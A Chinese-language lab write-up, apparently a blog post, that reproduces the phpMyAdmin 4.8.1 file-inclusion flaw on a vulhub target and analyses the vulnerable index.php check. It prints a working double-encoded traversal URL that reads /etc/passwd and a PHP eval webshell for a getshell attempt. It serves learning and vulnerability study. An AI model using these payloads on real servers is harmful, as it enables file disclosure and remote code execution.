漏洞利用过程:
vulhub.org
docker环境启动后
1.访问
http://your-ip:8080 访问phpmyadmin。 配置的是config模式,无需输入密码,直接登录test账户
2.访问http://your-ip:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
即可包含本地文件
![](https://img-blog.csdnimg.cn/2021012914171654.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzMjAwMTQz,size_16,color_FFFFFF,t_70)
还可以进行getshell
思路:把webshell写入到数据库中然后包含数据库文件
测试发现把webshell当作数据库的字段名字可以写入到数据库文件
写入webshell
<?php eval($_GET[a]); ?>
![](https://img-blog.csdnimg.cn/20210129141715986.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzMjAwMTQz,size_16,color_FFFFFF,t_70)
要找到这个文件
这里要熟悉目录结构了。。
我是直接在靶机里面搜索了一下,因为还不熟悉目录结构
find / -name "*.frm" 2>/dev/null
![](https://img-blog.csdnimg.cn/20210129141716101.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzMjAwMTQz,size_16,color_FFFFFF,t_70)
路径太长了,懒得在kali里面慢慢打
![](https://img-blog.csdnimg.cn/20210129141715951.png)
复制一份,然后包含
![](https://img-blog.csdnimg.cn/2021012914171625.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzMjAwMTQz,size_16,color_FFFFFF,t_70)
不行呀,原因暂时不晓得,还得深入分析
换成正常的路径吧
![](https://img-blog.csdnimg.cn/2021012914171634.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzMjAwMTQz,size_16,color_FFFFFF,t_70)
![](https://img-blog.csdnimg.cn/20210129141715957.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzMjAwMTQz,size_16,color_FFFFFF,t_70)
也不行。。。先复现到这里
漏洞原理分析:
对应官网版本为 phpMyAdmin-4.8.1-all-languages.zip
下载地址:https://www.phpmyadmin.net/files/
找到对应版本即可
漏洞出现在 /index.php
第54~63行
![](https://img-blog.csdnimg.cn/20210129141715955.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzMjAwMTQz,size_16,color_FFFFFF,t_70)
61行包含文件! 文件包含漏洞的特征!
56 行 判断target是不是为空
57行 限制参数target不能以index开头
58行 限制参数targetb不能出现在黑名单里
绕过限制:
首先找到$target_blacklist
![](https://img-blog.csdnimg.cn/20210129141715821.png)
不能为这两个文件名即可
59行限制
![](https://img-blog.csdnimg.cn/20210129141715772.png)
首先找到这个类的该方法
位于/libraries/classes/Core.php
![](https://img-blog.csdnimg.cn/20210129141715944.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzMjAwMTQz,size_16,color_FFFFFF,t_70)
![](https://img-blog.csdnimg.cn/20210129141715912.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzMjAwMTQz,size_16,color_FFFFFF,t_70)
问题出在465行
经过了url编码
我们把?两次编码为 %253f即可绕过验证
![](https://img-blog.csdnimg.cn/20210129141715868.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzMjAwMTQz,size_16,color_FFFFFF,t_70)
![](https://img-blog.csdnimg.cn/20210129141715828.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzMjAwMTQz,size_16,color_FFFFFF,t_70)
原理是因为$_REQUEST 已经被解码过一次,所以这里编码两次最终会被解码两次
问题:
最后首先要输入一个存在的文件,比如db_sql.php 然后用编码编码后的?拼接
不过为什么要拼接一下以后才能读取后面的文件呢。。。
这个应该和include这个函数的特性有关吧,或者是$_REQUEST这个超全局变量有关?
备注:
部分内容与参考文章相似,只为参考学习使用,如侵权请联系我删除
参考文章:https://mp.weixin.qq.com/s/HZcS2HdUtqz10jUEN57aog